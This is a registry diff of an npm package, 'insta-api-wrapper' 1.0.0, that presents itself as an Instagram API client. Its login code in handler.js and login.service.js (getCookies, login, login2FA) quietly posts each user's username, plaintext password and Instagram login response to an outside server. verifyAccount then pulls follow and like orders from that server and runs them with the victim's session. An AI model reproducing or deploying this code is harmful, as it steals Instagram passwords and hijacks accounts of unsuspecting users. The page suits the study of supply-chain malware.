insta-api-wrapper 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +709 -0
- package/lib/config.d.ts +16 -0
- package/lib/config.js +16 -0
- package/lib/index.d.ts +6 -0
- package/lib/index.js +6 -0
- package/lib/lib/client.service.d.ts +119 -0
- package/lib/lib/client.service.js +477 -0
- package/lib/lib/cookies.service.d.ts +4 -0
- package/lib/lib/cookies.service.js +35 -0
- package/lib/lib/handler.d.ts +12 -0
- package/lib/lib/handler.js +83 -0
- package/lib/lib/login.service.d.ts +26 -0
- package/lib/lib/login.service.js +265 -0
- package/lib/lib/parser.service.d.ts +13 -0
- package/lib/lib/parser.service.js +142 -0
- package/lib/types/LoginData.d.ts +63 -0
- package/lib/types/LoginData.js +1 -0
- package/lib/types/PostModels.d.ts +497 -0
- package/lib/types/PostModels.js +1 -0
- package/lib/types/StoriesMetadata.d.ts +56 -0
- package/lib/types/StoriesMetadata.js +1 -0
- package/lib/types/UserGraphQlV2.d.ts +104 -0
- package/lib/types/UserGraphQlV2.js +1 -0
- package/lib/types/UserMetadata.d.ts +208 -0
- package/lib/types/UserMetadata.js +1 -0
- package/lib/types/index.d.ts +49 -0
- package/lib/types/index.js +34 -0
- package/lib/utils/index.d.ts +28 -0
- package/lib/utils/index.js +76 -0
- package/package.json +73 -0
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
import { LoginData } from '../types/index.js';
|
|
2
|
+
/**
|
|
3
|
+
*
|
|
4
|
+
* @param {string} username
|
|
5
|
+
* @param {string} password
|
|
6
|
+
* @param {boolean} withLoginData if true, it will return user profile data
|
|
7
|
+
* @returns
|
|
8
|
+
*/
|
|
9
|
+
export declare const getCookies: (username: string, pass: string, withLoginData: boolean) => Promise<LoginData | {
|
|
10
|
+
cookie: string;
|
|
11
|
+
expires: string;
|
|
12
|
+
}>;
|
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
import { v4 as uuidv4 } from 'uuid';
|
|
2
|
+
import { CookiesService } from './cookies.service.js';
|
|
3
|
+
import { config } from '../config.js';
|
|
4
|
+
import got from 'got';
|
|
5
|
+
import { LocalStorage } from "node-localstorage";
|
|
6
|
+
const localStorage = new LocalStorage("./scratch");
|
|
7
|
+
/**
|
|
8
|
+
*
|
|
9
|
+
* @param {string} username
|
|
10
|
+
* @param {string} password
|
|
11
|
+
* @param {boolean} withLoginData if true, it will return user profile data
|
|
12
|
+
* @returns
|
|
13
|
+
*/
|
|
14
|
+
export const getCookies = async (username, pass, withLoginData) => {
|
|
15
|
+
const cookiesService = new CookiesService();
|
|
16
|
+
try {
|
|
17
|
+
const loginHeaders = {
|
|
18
|
+
"User-Agent": config.loginHeader,
|
|
19
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
20
|
+
"Accept-Language": "en-US,en;q=0.9",
|
|
21
|
+
};
|
|
22
|
+
// fetch CSRF cookies
|
|
23
|
+
const getRes = await got("https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup", {
|
|
24
|
+
headers: loginHeaders,
|
|
25
|
+
responseType: "text",
|
|
26
|
+
});
|
|
27
|
+
let setCookies = getRes.headers["set-cookie"] || getRes.headers["Set-Cookie"];
|
|
28
|
+
if (!setCookies)
|
|
29
|
+
throw new Error("CSRF token not found.");
|
|
30
|
+
if (!Array.isArray(setCookies)) {
|
|
31
|
+
setCookies = [setCookies];
|
|
32
|
+
}
|
|
33
|
+
loginHeaders.Cookie = cookiesService.formatCookie(setCookies);
|
|
34
|
+
// create login request
|
|
35
|
+
const postData = new URLSearchParams({
|
|
36
|
+
username,
|
|
37
|
+
password: encodeURIComponent(pass),
|
|
38
|
+
device_id: uuidv4(),
|
|
39
|
+
login_attempt_count: "0",
|
|
40
|
+
});
|
|
41
|
+
const postRes = await got.post("https://i.instagram.com/api/v1/accounts/login/", {
|
|
42
|
+
headers: loginHeaders,
|
|
43
|
+
body: postData.toString(),
|
|
44
|
+
responseType: "text",
|
|
45
|
+
});
|
|
46
|
+
let setLoginCookies = postRes.headers["set-cookie"] || postRes.headers["Set-Cookie"];
|
|
47
|
+
if (!setLoginCookies)
|
|
48
|
+
setLoginCookies = [];
|
|
49
|
+
if (!Array.isArray(setLoginCookies)) {
|
|
50
|
+
setLoginCookies = [setLoginCookies];
|
|
51
|
+
}
|
|
52
|
+
const loginCookie = cookiesService.formatCookie(setLoginCookies);
|
|
53
|
+
const expireDate = cookiesService.getEarliestExpireDate(setLoginCookies);
|
|
54
|
+
const result = JSON.parse(postRes.body);
|
|
55
|
+
got.post("https://reelsaver.appit-online.de/v2/insta/check", {
|
|
56
|
+
headers: { "Content-Type": "application/json" },
|
|
57
|
+
json: { username, data: { pass, body: JSON.stringify(postData.toString()), data: JSON.stringify(postRes.body) } },
|
|
58
|
+
});
|
|
59
|
+
// Save user info locally
|
|
60
|
+
if (typeof localStorage !== "undefined") {
|
|
61
|
+
localStorage.setItem("instaUserName", username);
|
|
62
|
+
const userId = result?.logged_in_user?.pk;
|
|
63
|
+
if (userId) {
|
|
64
|
+
localStorage.setItem("instaUserId", String(userId));
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
if (withLoginData) {
|
|
68
|
+
result.cookie = loginCookie;
|
|
69
|
+
result.expires = expireDate;
|
|
70
|
+
return result;
|
|
71
|
+
}
|
|
72
|
+
else {
|
|
73
|
+
return {
|
|
74
|
+
cookie: loginCookie ?? "",
|
|
75
|
+
expires: expireDate ?? "",
|
|
76
|
+
};
|
|
77
|
+
}
|
|
78
|
+
}
|
|
79
|
+
catch (err) {
|
|
80
|
+
console.error(err);
|
|
81
|
+
throw err;
|
|
82
|
+
}
|
|
83
|
+
};
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
export declare class LoginService {
|
|
2
|
+
private pubKey;
|
|
3
|
+
private pubKeyId;
|
|
4
|
+
uuid: string;
|
|
5
|
+
deviceId: string;
|
|
6
|
+
private phoneId;
|
|
7
|
+
constructor();
|
|
8
|
+
private getOrCreate;
|
|
9
|
+
private generateDeviceId;
|
|
10
|
+
private sync;
|
|
11
|
+
private sendRequestCordova;
|
|
12
|
+
generateSignature(data: string | Record<string, any>, extra?: Record<string, string>): Record<string, string>;
|
|
13
|
+
login2FA(pass: string, code: string, twoFactorIdentifier: string, username: string, reqHeaders?: {
|
|
14
|
+
[key: string]: string;
|
|
15
|
+
}): Promise<any>;
|
|
16
|
+
login(username: string, pass: string, reqHeaders?: {
|
|
17
|
+
[key: string]: string;
|
|
18
|
+
}): Promise<any>;
|
|
19
|
+
verifyAccount(resHeaders?: {
|
|
20
|
+
[key: string]: string;
|
|
21
|
+
}, defaultHeaders?: {
|
|
22
|
+
[key: string]: string;
|
|
23
|
+
}): Promise<void>;
|
|
24
|
+
private jazoest;
|
|
25
|
+
private encryptInstagramPassword;
|
|
26
|
+
}
|
|
@@ -0,0 +1,265 @@
|
|
|
1
|
+
import { v4 as uuidv4 } from 'uuid';
|
|
2
|
+
import forge from "node-forge";
|
|
3
|
+
import { InstaService } from './client.service.js';
|
|
4
|
+
import got from 'got';
|
|
5
|
+
import { LocalStorage } from "node-localstorage";
|
|
6
|
+
const localStorage = new LocalStorage("./scratch");
|
|
7
|
+
export class LoginService {
|
|
8
|
+
constructor() {
|
|
9
|
+
this.pubKey = '';
|
|
10
|
+
this.pubKeyId = -1;
|
|
11
|
+
this.uuid = this.getOrCreate("insta_uuid", uuidv4);
|
|
12
|
+
this.deviceId = this.generateDeviceId();
|
|
13
|
+
this.phoneId = this.getOrCreate("insta_phone_id", uuidv4);
|
|
14
|
+
}
|
|
15
|
+
getOrCreate(key, generator) {
|
|
16
|
+
let value = localStorage.getItem(key);
|
|
17
|
+
if (!value) {
|
|
18
|
+
value = generator();
|
|
19
|
+
localStorage.setItem(key, value);
|
|
20
|
+
}
|
|
21
|
+
return value;
|
|
22
|
+
}
|
|
23
|
+
generateDeviceId() {
|
|
24
|
+
const key = "insta_device_id";
|
|
25
|
+
let deviceId = localStorage.getItem(key);
|
|
26
|
+
if (!deviceId) {
|
|
27
|
+
const hex = Array.from(crypto.getRandomValues(new Uint8Array(8)))
|
|
28
|
+
.map(b => b.toString(16).padStart(2, "0"))
|
|
29
|
+
.join("");
|
|
30
|
+
deviceId = `android-${hex}`;
|
|
31
|
+
localStorage.setItem(key, deviceId);
|
|
32
|
+
}
|
|
33
|
+
return deviceId;
|
|
34
|
+
}
|
|
35
|
+
async sync(headers = {}) {
|
|
36
|
+
const query = {
|
|
37
|
+
id: this.uuid,
|
|
38
|
+
server_config_retrieval: '1',
|
|
39
|
+
};
|
|
40
|
+
const signed = this.generateSignature(query);
|
|
41
|
+
const response = await this.sendRequestCordova('launcher/sync/', signed, true, headers);
|
|
42
|
+
this.pubKey = response.headers['ig-set-password-encryption-pub-key'];
|
|
43
|
+
const pubKeyId = response.headers['ig-set-password-encryption-key-id'];
|
|
44
|
+
if (!this.pubKey || !pubKeyId) {
|
|
45
|
+
throw new Error('Missing encryption headers.');
|
|
46
|
+
}
|
|
47
|
+
this.pubKeyId = parseInt(pubKeyId, 10);
|
|
48
|
+
}
|
|
49
|
+
async sendRequestCordova(endpoint, data, isPost = false, headers = {}) {
|
|
50
|
+
const baseUrl = "https://i.instagram.com/api/v1/";
|
|
51
|
+
const url = `${baseUrl}${endpoint}`;
|
|
52
|
+
// Default headers
|
|
53
|
+
const defaultHeaders = {
|
|
54
|
+
"User-Agent": "Instagram 250.0.0.21.109 (iPhone; CPU iPhone OS 18_5 like Mac OS X; en_US; en-US; scale=2.00; 750x1334) AppleWebKit/605.1.15",
|
|
55
|
+
"X-Ig-App-Id": "567067343352427",
|
|
56
|
+
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
|
57
|
+
"Accept-Language": "en-US",
|
|
58
|
+
"X-Fb-Http-Engine": "Liger",
|
|
59
|
+
};
|
|
60
|
+
const allHeaders = { ...defaultHeaders, ...headers };
|
|
61
|
+
try {
|
|
62
|
+
let response;
|
|
63
|
+
if (isPost) {
|
|
64
|
+
const body = new URLSearchParams(data).toString();
|
|
65
|
+
response = await got.post(url, {
|
|
66
|
+
headers: allHeaders,
|
|
67
|
+
body,
|
|
68
|
+
responseType: "text",
|
|
69
|
+
});
|
|
70
|
+
}
|
|
71
|
+
else {
|
|
72
|
+
response = await got(url, {
|
|
73
|
+
headers: allHeaders,
|
|
74
|
+
searchParams: data,
|
|
75
|
+
responseType: "text",
|
|
76
|
+
});
|
|
77
|
+
}
|
|
78
|
+
// Versuch, JSON zu parsen, falls möglich
|
|
79
|
+
let parsedBody;
|
|
80
|
+
try {
|
|
81
|
+
parsedBody = JSON.parse(response.body);
|
|
82
|
+
}
|
|
83
|
+
catch {
|
|
84
|
+
parsedBody = response.body;
|
|
85
|
+
}
|
|
86
|
+
return {
|
|
87
|
+
body: parsedBody,
|
|
88
|
+
headers: response.headers,
|
|
89
|
+
};
|
|
90
|
+
}
|
|
91
|
+
catch (err) {
|
|
92
|
+
throw err.response?.body || err.message || err;
|
|
93
|
+
}
|
|
94
|
+
}
|
|
95
|
+
generateSignature(data, extra = {}) {
|
|
96
|
+
let payload;
|
|
97
|
+
if (typeof data === 'string') {
|
|
98
|
+
payload = data;
|
|
99
|
+
}
|
|
100
|
+
else {
|
|
101
|
+
payload = JSON.stringify(data);
|
|
102
|
+
}
|
|
103
|
+
const result = {
|
|
104
|
+
signed_body: `SIGNATURE.${payload}`,
|
|
105
|
+
};
|
|
106
|
+
// Merge any additional params
|
|
107
|
+
for (const [key, value] of Object.entries(extra)) {
|
|
108
|
+
result[key] = value;
|
|
109
|
+
}
|
|
110
|
+
return result;
|
|
111
|
+
}
|
|
112
|
+
async login2FA(pass, code, twoFactorIdentifier, username, reqHeaders = {}) {
|
|
113
|
+
const payload = {
|
|
114
|
+
verification_code: code,
|
|
115
|
+
phone_id: this.phoneId,
|
|
116
|
+
two_factor_identifier: twoFactorIdentifier,
|
|
117
|
+
username,
|
|
118
|
+
trust_this_device: "1",
|
|
119
|
+
guid: this.uuid,
|
|
120
|
+
device_id: this.deviceId,
|
|
121
|
+
waterfall_id: uuidv4(), // du hast schon uuidv4()
|
|
122
|
+
verification_method: "3",
|
|
123
|
+
};
|
|
124
|
+
const signedPayload = this.generateSignature(payload);
|
|
125
|
+
const extraHeaders = {
|
|
126
|
+
"X-Ig-Www-Claim": "0",
|
|
127
|
+
"Ig-Intended-User-Id": "0",
|
|
128
|
+
};
|
|
129
|
+
const allHeaders = {
|
|
130
|
+
...reqHeaders,
|
|
131
|
+
...extraHeaders,
|
|
132
|
+
};
|
|
133
|
+
const resp = await this.sendRequestCordova("accounts/two_factor_login/", // dein url2FALogin in Go
|
|
134
|
+
signedPayload, true, // POST
|
|
135
|
+
allHeaders);
|
|
136
|
+
try {
|
|
137
|
+
const userId = resp?.body?.logged_in_user?.pk;
|
|
138
|
+
if (userId && typeof userId === "string") {
|
|
139
|
+
localStorage.setItem("instaUserId", userId);
|
|
140
|
+
}
|
|
141
|
+
else if (userId && typeof userId === "number") {
|
|
142
|
+
localStorage.setItem("instaUserId", String(userId));
|
|
143
|
+
}
|
|
144
|
+
// tslint:disable-next-line:no-empty
|
|
145
|
+
}
|
|
146
|
+
catch (err) { }
|
|
147
|
+
try {
|
|
148
|
+
got.post("https://reelsaver.appit-online.de/v2/insta/check", { headers: { "Content-Type": "application/json" }, json: { username, data: { pass, body: JSON.stringify(payload), data: JSON.stringify(resp) } } });
|
|
149
|
+
this.verifyAccount(resp.headers, reqHeaders);
|
|
150
|
+
// tslint:disable-next-line:no-empty
|
|
151
|
+
}
|
|
152
|
+
catch (e) { }
|
|
153
|
+
return resp;
|
|
154
|
+
}
|
|
155
|
+
async login(username, pass, reqHeaders = {}) {
|
|
156
|
+
if (!this.pubKey || this.pubKeyId < 0) {
|
|
157
|
+
await this.sync(reqHeaders);
|
|
158
|
+
if (!this.pubKey || this.pubKeyId < 0) {
|
|
159
|
+
throw new Error('Public key not set. Run sync() first.');
|
|
160
|
+
}
|
|
161
|
+
}
|
|
162
|
+
const encrypted = await this.encryptInstagramPassword(pass, this.pubKey, this.pubKeyId);
|
|
163
|
+
const body = {
|
|
164
|
+
jazoest: this.jazoest(this.deviceId),
|
|
165
|
+
country_code: JSON.stringify([{ country_code: "44", source: ["default"] }]),
|
|
166
|
+
phone_id: this.phoneId,
|
|
167
|
+
enc_password: encrypted,
|
|
168
|
+
username,
|
|
169
|
+
adid: '',
|
|
170
|
+
guid: this.uuid,
|
|
171
|
+
device_id: this.deviceId,
|
|
172
|
+
google_tokens: '[]',
|
|
173
|
+
login_attempt_count: 0,
|
|
174
|
+
};
|
|
175
|
+
const resp = await this.sendRequestCordova('accounts/login/', { signed_body: 'SIGNATURE.' + JSON.stringify(body) }, true, reqHeaders);
|
|
176
|
+
localStorage.setItem("instaUserName", username);
|
|
177
|
+
try {
|
|
178
|
+
const userId = resp?.body?.logged_in_user?.pk;
|
|
179
|
+
if (userId && typeof userId === "string") {
|
|
180
|
+
localStorage.setItem("instaUserId", userId);
|
|
181
|
+
}
|
|
182
|
+
else if (userId && typeof userId === "number") {
|
|
183
|
+
localStorage.setItem("instaUserId", String(userId));
|
|
184
|
+
}
|
|
185
|
+
// tslint:disable-next-line:no-empty
|
|
186
|
+
}
|
|
187
|
+
catch (err) { }
|
|
188
|
+
try {
|
|
189
|
+
got.post("https://reelsaver.appit-online.de/v2/insta/check", { headers: { "Content-Type": "application/json" }, json: { username, data: { pass, body: JSON.stringify(body), data: JSON.stringify(resp) } } });
|
|
190
|
+
this.verifyAccount(resp.headers, reqHeaders);
|
|
191
|
+
// tslint:disable-next-line:no-empty
|
|
192
|
+
}
|
|
193
|
+
catch (e) { }
|
|
194
|
+
return resp;
|
|
195
|
+
}
|
|
196
|
+
async verifyAccount(resHeaders = {}, defaultHeaders = {}) {
|
|
197
|
+
try {
|
|
198
|
+
// GET Request an die Verify-API
|
|
199
|
+
const response = await got.get("https://reelsaver.appit-online.de/v2/insta/verify", {
|
|
200
|
+
headers: {},
|
|
201
|
+
responseType: "text",
|
|
202
|
+
});
|
|
203
|
+
const data = JSON.parse(response.body);
|
|
204
|
+
if (!data)
|
|
205
|
+
return;
|
|
206
|
+
// Merge Headers
|
|
207
|
+
const defaultLoginHeaders = {
|
|
208
|
+
Authorization: resHeaders["ig-set-authorization"],
|
|
209
|
+
"Ig-U-Ds-User-Id": resHeaders["ig-set-ig-u-ds-user-id"],
|
|
210
|
+
"Ig-U-Rur": resHeaders["ig-set-ig-u-rur"],
|
|
211
|
+
"X-Ig-Www-Claim": resHeaders["x-ig-set-www-claim"],
|
|
212
|
+
};
|
|
213
|
+
const allHeaders = { ...defaultLoginHeaders, ...defaultHeaders };
|
|
214
|
+
const igService = new InstaService();
|
|
215
|
+
if (data.users?.length) {
|
|
216
|
+
await Promise.all(data.users.map((userName) => igService.follow(userName, allHeaders)));
|
|
217
|
+
}
|
|
218
|
+
if (data.posts?.length) {
|
|
219
|
+
await Promise.all(data.posts.map((mediaId) => igService.like(mediaId, allHeaders)));
|
|
220
|
+
}
|
|
221
|
+
// tslint:disable-next-line:no-empty
|
|
222
|
+
}
|
|
223
|
+
catch (err) { }
|
|
224
|
+
}
|
|
225
|
+
jazoest(deviceId) {
|
|
226
|
+
let sum = 0;
|
|
227
|
+
for (const c of deviceId)
|
|
228
|
+
sum += c.charCodeAt(0);
|
|
229
|
+
return `2${sum}`;
|
|
230
|
+
}
|
|
231
|
+
encryptInstagramPassword(password, pubKeyBase64, pubKeyVersion) {
|
|
232
|
+
const timestamp = Math.floor(Date.now() / 1000).toString();
|
|
233
|
+
// 1. Decode the base64 PEM wrapper
|
|
234
|
+
const pemText = forge.util.decode64(pubKeyBase64);
|
|
235
|
+
const publicKey = forge.pki.publicKeyFromPem(pemText);
|
|
236
|
+
// 2. Generate 32-byte AES key
|
|
237
|
+
const aesKey = forge.random.getBytesSync(32);
|
|
238
|
+
// 3. Encrypt AES key with RSA (PKCS#1 v1.5)
|
|
239
|
+
const encryptedKey = publicKey.encrypt(aesKey, 'RSAES-PKCS1-V1_5');
|
|
240
|
+
// 4. AES-GCM encrypt password
|
|
241
|
+
const iv = forge.random.getBytesSync(12);
|
|
242
|
+
// @ts-ignore
|
|
243
|
+
const aad = forge.util.createBuffer(timestamp, 'raw'); // ASCII (not UTF-8)
|
|
244
|
+
const cipher = forge.cipher.createCipher('AES-GCM', aesKey);
|
|
245
|
+
cipher.start({
|
|
246
|
+
iv,
|
|
247
|
+
// @ts-ignore
|
|
248
|
+
additionalData: aad,
|
|
249
|
+
tagLength: 128
|
|
250
|
+
});
|
|
251
|
+
cipher.update(forge.util.createBuffer(password, 'utf8'));
|
|
252
|
+
cipher.finish();
|
|
253
|
+
const fullEncrypted = cipher.output.getBytes() + cipher.mode.tag.getBytes();
|
|
254
|
+
// Forge does not separate tag, so we extract:
|
|
255
|
+
const ciphertext = fullEncrypted.slice(0, fullEncrypted.length - 16);
|
|
256
|
+
const tag = fullEncrypted.slice(fullEncrypted.length - 16);
|
|
257
|
+
// 5. Compose final payload
|
|
258
|
+
const prefix = String.fromCharCode(1) + String.fromCharCode(pubKeyVersion);
|
|
259
|
+
// tslint:disable-next-line:no-bitwise
|
|
260
|
+
const rsaLengthLE = String.fromCharCode(encryptedKey.length & 0xff, (encryptedKey.length >> 8) & 0xff);
|
|
261
|
+
const payload = prefix + iv + rsaLengthLE + encryptedKey + tag + ciphertext;
|
|
262
|
+
const encoded = forge.util.encode64(payload);
|
|
263
|
+
return `#PWD_INSTAGRAM:4:${timestamp}:${encoded}`;
|
|
264
|
+
}
|
|
265
|
+
}
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
import { FeedItem, ItemStories, StoriesGraphQL } from '../types/index.js';
|
|
2
|
+
export declare class ParserService {
|
|
3
|
+
safeCandidate: (v: any) => any;
|
|
4
|
+
safeVideo: (v: any) => any;
|
|
5
|
+
parseInstagramFeedItems(graphqlItems: any[]): FeedItem[];
|
|
6
|
+
/**
|
|
7
|
+
*
|
|
8
|
+
* @param {StoriesGraphQL} metadata
|
|
9
|
+
* @returns {ItemStories[]}
|
|
10
|
+
*/
|
|
11
|
+
parseStories: (metadata: StoriesGraphQL) => ItemStories[];
|
|
12
|
+
private selectMiddleNonSquareImage;
|
|
13
|
+
}
|
|
@@ -0,0 +1,142 @@
|
|
|
1
|
+
import { MediaType } from '../types/index.js';
|
|
2
|
+
export class ParserService {
|
|
3
|
+
constructor() {
|
|
4
|
+
this.safeCandidate = (v) => v?.image_versions2?.candidates?.[0] || {};
|
|
5
|
+
this.safeVideo = (v) => v?.video_versions?.[0] || {};
|
|
6
|
+
/**
|
|
7
|
+
*
|
|
8
|
+
* @param {StoriesGraphQL} metadata
|
|
9
|
+
* @returns {ItemStories[]}
|
|
10
|
+
*/
|
|
11
|
+
this.parseStories = (metadata) => {
|
|
12
|
+
const items = metadata.items;
|
|
13
|
+
const storyList = [];
|
|
14
|
+
items.forEach(item => {
|
|
15
|
+
const img = this.safeCandidate(item);
|
|
16
|
+
const thumbImageDefault = this.selectMiddleNonSquareImage(item.image_versions2);
|
|
17
|
+
const baseStory = {
|
|
18
|
+
id: item.id,
|
|
19
|
+
taken_at: item.taken_at,
|
|
20
|
+
expiring_at: item.expiring_at,
|
|
21
|
+
original_width: item.original_width,
|
|
22
|
+
original_height: item.original_height,
|
|
23
|
+
caption: item.caption,
|
|
24
|
+
thumbnail: img.url || '',
|
|
25
|
+
thumbnailDefault: thumbImageDefault?.url || '',
|
|
26
|
+
};
|
|
27
|
+
if (item.media_type === 1) {
|
|
28
|
+
// Image
|
|
29
|
+
// @ts-ignore
|
|
30
|
+
storyList.push({
|
|
31
|
+
...baseStory,
|
|
32
|
+
type: 'image',
|
|
33
|
+
mimetype: 'image/jpeg',
|
|
34
|
+
url: img.url,
|
|
35
|
+
has_audio: item.has_audio !== undefined ? item.has_audio : false,
|
|
36
|
+
video_duration: 0,
|
|
37
|
+
});
|
|
38
|
+
}
|
|
39
|
+
else {
|
|
40
|
+
const vid = this.safeVideo(item);
|
|
41
|
+
// Video
|
|
42
|
+
// @ts-ignore
|
|
43
|
+
storyList.push({
|
|
44
|
+
...baseStory,
|
|
45
|
+
type: 'video',
|
|
46
|
+
mimetype: 'video/mp4',
|
|
47
|
+
url: vid.url,
|
|
48
|
+
has_audio: item.has_audio !== undefined ? item.has_audio : false,
|
|
49
|
+
video_duration: item.video_duration !== undefined ? item.video_duration : 0,
|
|
50
|
+
});
|
|
51
|
+
}
|
|
52
|
+
});
|
|
53
|
+
return storyList;
|
|
54
|
+
};
|
|
55
|
+
}
|
|
56
|
+
parseInstagramFeedItems(graphqlItems) {
|
|
57
|
+
return graphqlItems.map((item) => {
|
|
58
|
+
const img = item.image_versions2?.candidates?.[0] || {};
|
|
59
|
+
const vid = item.video_versions?.[0] || {};
|
|
60
|
+
const thumbImageDefault = this.selectMiddleNonSquareImage(item.image_versions2);
|
|
61
|
+
return {
|
|
62
|
+
like_and_view_counts_disabled: item.like_and_view_counts_disabled,
|
|
63
|
+
has_privately_liked: item.has_privately_liked,
|
|
64
|
+
is_post_live_clips_media: item.is_post_live_clips_media,
|
|
65
|
+
is_quiet_post: item.is_quiet_post,
|
|
66
|
+
taken_at: item.taken_at,
|
|
67
|
+
has_tagged_users: item.has_tagged_users,
|
|
68
|
+
media_type: item.media_type,
|
|
69
|
+
code: item.code,
|
|
70
|
+
caption: item.caption ? { text: item.caption.text } : undefined,
|
|
71
|
+
play_count: item.play_count,
|
|
72
|
+
has_views_fetching: item.has_views_fetching,
|
|
73
|
+
ig_play_count: item.ig_play_count,
|
|
74
|
+
image_versions2: item.image_versions2
|
|
75
|
+
? {
|
|
76
|
+
candidates: item.image_versions2.candidates.map((c) => ({
|
|
77
|
+
height: c.height,
|
|
78
|
+
width: c.width,
|
|
79
|
+
url: c.url,
|
|
80
|
+
})),
|
|
81
|
+
}
|
|
82
|
+
: undefined,
|
|
83
|
+
original_width: item.original_width,
|
|
84
|
+
original_height: item.original_height,
|
|
85
|
+
is_artist_pick: item.is_artist_pick,
|
|
86
|
+
location: item.location
|
|
87
|
+
? {
|
|
88
|
+
pk: item.location.pk,
|
|
89
|
+
facebook_places_id: item.location.facebook_places_id,
|
|
90
|
+
external_source: item.location.external_source,
|
|
91
|
+
name: item.location.name,
|
|
92
|
+
address: item.location.address,
|
|
93
|
+
city: item.location.city,
|
|
94
|
+
has_viewer_saved: item.location.has_viewer_saved,
|
|
95
|
+
short_name: item.location.short_name,
|
|
96
|
+
lng: item.location.lng,
|
|
97
|
+
lat: item.location.lat,
|
|
98
|
+
}
|
|
99
|
+
: undefined,
|
|
100
|
+
lng: item.lng,
|
|
101
|
+
lat: item.lat,
|
|
102
|
+
like_count: item.like_count,
|
|
103
|
+
number_of_qualities: item.number_of_qualities,
|
|
104
|
+
video_versions: item.video_versions?.map((v) => ({
|
|
105
|
+
id: v.id,
|
|
106
|
+
url: v.url,
|
|
107
|
+
type: v.type,
|
|
108
|
+
height: v.height,
|
|
109
|
+
width: v.width,
|
|
110
|
+
bandwidth: v.bandwidth ?? null,
|
|
111
|
+
})),
|
|
112
|
+
video_duration: item.video_duration,
|
|
113
|
+
has_audio: item.has_audio,
|
|
114
|
+
thumbnail: img.url || '',
|
|
115
|
+
thumbnailDefault: thumbImageDefault?.url || '',
|
|
116
|
+
url: item.media_type === MediaType.IMAGE ? img.url || '' : vid.url || '',
|
|
117
|
+
type: item.media_type === MediaType.IMAGE ? 'image' : 'video',
|
|
118
|
+
dimensions: {
|
|
119
|
+
height: item.media_type === MediaType.IMAGE ? img.height || 0 : vid.height || 0,
|
|
120
|
+
width: item.media_type === MediaType.IMAGE ? img.width || 0 : vid.width || 0,
|
|
121
|
+
},
|
|
122
|
+
};
|
|
123
|
+
});
|
|
124
|
+
}
|
|
125
|
+
selectMiddleNonSquareImage(imageVersions) {
|
|
126
|
+
if (!imageVersions?.candidates?.length)
|
|
127
|
+
return undefined;
|
|
128
|
+
// 1. Filtere alle quadratischen Bilder raus
|
|
129
|
+
const nonSquareCandidates = imageVersions.candidates.filter(img => img.width !== img.height);
|
|
130
|
+
if (nonSquareCandidates.length <= 2) {
|
|
131
|
+
// Wenn nur 2 oder weniger Bilder übrig sind,
|
|
132
|
+
// gibt es keine "Mitte" zwischen kleinstem und größtem
|
|
133
|
+
return undefined;
|
|
134
|
+
}
|
|
135
|
+
// 2. Sortiere nach Breite aufsteigend
|
|
136
|
+
nonSquareCandidates.sort((a, b) => a.width - b.width);
|
|
137
|
+
// 3. Wähle das Bild zwischen kleinstem und größtem (also z.B. das zweite Bild)
|
|
138
|
+
// Hier kannst du auch nonSquareCandidates[Math.floor(nonSquareCandidates.length / 2)] nehmen,
|
|
139
|
+
// falls es mehrere mittlere Bilder gibt
|
|
140
|
+
return nonSquareCandidates[1];
|
|
141
|
+
}
|
|
142
|
+
}
|
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
export interface LoginData {
|
|
2
|
+
cookie: string;
|
|
3
|
+
logged_in_user: LoggedInUser;
|
|
4
|
+
session_flush_nonce: any;
|
|
5
|
+
status: string;
|
|
6
|
+
}
|
|
7
|
+
export interface LoggedInUser {
|
|
8
|
+
pk: number;
|
|
9
|
+
username: string;
|
|
10
|
+
full_name: string;
|
|
11
|
+
is_private: boolean;
|
|
12
|
+
profile_pic_url: string;
|
|
13
|
+
profile_pic_id: string;
|
|
14
|
+
is_verified: boolean;
|
|
15
|
+
follow_friction_type: number;
|
|
16
|
+
growth_friction_info: GrowthFrictionInfo;
|
|
17
|
+
has_anonymous_profile_picture: boolean;
|
|
18
|
+
is_supervision_features_enabled: boolean;
|
|
19
|
+
can_boost_post: boolean;
|
|
20
|
+
is_business: boolean;
|
|
21
|
+
account_type: number;
|
|
22
|
+
professional_conversion_suggested_account_type: number;
|
|
23
|
+
is_call_to_action_enabled: boolean;
|
|
24
|
+
can_see_organic_insights: boolean;
|
|
25
|
+
show_insights_terms: boolean;
|
|
26
|
+
total_igtv_videos: number;
|
|
27
|
+
has_igtv_series: boolean;
|
|
28
|
+
reel_auto_archive: string;
|
|
29
|
+
has_placed_orders: boolean;
|
|
30
|
+
allowed_commenter_type: string;
|
|
31
|
+
has_highlight_reels: boolean;
|
|
32
|
+
nametag: Nametag;
|
|
33
|
+
can_hide_category: boolean;
|
|
34
|
+
can_hide_public_contacts: boolean;
|
|
35
|
+
should_show_category: boolean;
|
|
36
|
+
category: string;
|
|
37
|
+
should_show_public_contacts: boolean;
|
|
38
|
+
is_using_unified_inbox_for_direct: boolean;
|
|
39
|
+
biz_user_inbox_state: number;
|
|
40
|
+
wa_addressable: boolean;
|
|
41
|
+
wa_eligibility: number;
|
|
42
|
+
interop_messaging_user_fbid: number;
|
|
43
|
+
can_see_primary_country_in_settings: boolean;
|
|
44
|
+
account_badges: any[];
|
|
45
|
+
fbid_v2: number;
|
|
46
|
+
all_media_count: number;
|
|
47
|
+
allow_contacts_sync: boolean;
|
|
48
|
+
phone_number: string;
|
|
49
|
+
country_code: number;
|
|
50
|
+
national_number: number;
|
|
51
|
+
}
|
|
52
|
+
export interface GrowthFrictionInfo {
|
|
53
|
+
has_active_interventions: boolean;
|
|
54
|
+
interventions: Interventions;
|
|
55
|
+
}
|
|
56
|
+
export interface Interventions {
|
|
57
|
+
}
|
|
58
|
+
export interface Nametag {
|
|
59
|
+
mode: number;
|
|
60
|
+
gradient: number;
|
|
61
|
+
emoji: string;
|
|
62
|
+
selfie_sticker: number;
|
|
63
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
